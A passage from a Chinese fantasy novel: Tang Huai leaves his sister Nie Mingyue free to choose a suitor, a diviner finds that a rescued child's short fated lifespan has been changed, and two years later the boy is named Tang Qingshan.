唐槐淡淡一笑:“靖鸣,你错了。在我眼里,你已经是世间难得的才俊,你不可妄自菲薄。但是……” “阿姐想嫁给谁,是她自己来做主。你和阿姐的事,不需要经过我的同意,只需要阿姐接受你……” - 唐槐对陆靖鸣爱上聂明月的事虽觉意外,但并不生气。 在他眼里,陆靖鸣和阿姐都是自己的家人。他从来不会替他们做任何决定,也不会阻碍他们的选择。 陆靖鸣闻言,极为开心,觉得唐槐的话给了他极大的信心,大哥这关过了,一切都好办了。 看着陆靖鸣轻松离去的背影,唐槐摇了摇头。 他还有句话,却是不能对亲手带大的陆靖鸣说的。 他并不认为,阿姐会对陆靖鸣有男女之情。 - 聂明月带着孩子从明堂中出来,已是第二天了。 那孩子被裹在阿金连夜缝制的襁褓中,闭着双眼沉睡,小嘴却还轻轻蠕动着,大概做着香甜的梦吧。 马鹿子围着孩子看了好几圈,问聂明月:“聂小姐,你可知他的生辰八字?” 聂明月缓缓道出,却心中一沉:那也是和关临渊分开的日子,竟然已有35天了吗?他此刻在哪里呢? 马鹿子为孩子卜了一卦,疑惑不已。他不相信卦象所示,又掏出三枚铜钱行六爻之术,还是同样的结果。 “怎么了?”聂明月见他面上阴晴不定,担心出了什么问题。 “他现在被聂小姐拔去了魔骨,又洗净了经脉,已经是个普通人类了。” “但按他的八字来算,本应活不过三岁。但是……”马鹿子十分不解:“现在卦象结果,这孩子福缘深厚,富贵长寿。不得了不得了,就像是……” “就像是有人改了生死簿,强行给他续上了性命,让他足以——” “平安无忧,一生顺遂。” - 一生顺遂。 聂明月闻言,心下了然。 原来,他还是帮了她。 他又一次为她,违背了阴冥司的原则,改变了孩子的命运。 关临渊,谢谢你。 - 两年后,唐槐和聂明月来到京城西郊的定都峰。他们是来寻访计家后人的。 那位叫计九崖的计家小少爷,应该是在寻找天下各处风水之地,定都峰上的定都阁,是他最后出现的地方。 唐槐即将赴北港上任,执政一方。 在他的申请下,北港撤县立市,改名为海泽。 “山海大阵,泽被世人。”他怀中抱着两岁的孩童,对聂明月说:“阿姐,我给家乡起了新名字,希望早点找到计九崖,待山海阵成,阿姐不再受苦痛折磨。” 聂明月逗弄着小男孩,笑着点了点头。 “对了,小宝还没有起名,阿姐,你为他起一个吧。”这两年,聂明月的大量精力都花在照顾小宝的身体上,他准备赴任后为小宝办理户籍,让他跟他姓唐。 聂明月想起方策和云秋,相识于重峦叠嶂的大巴山中,死在一片青翠密林里。 也想起那一年的夏天,她与关临渊从淮南走到神农架,沿途绿意掩映,生机勃勃。 她指着前方秋阳下,青山依旧的定都峰,对那男孩说: “那你就叫,唐青山。”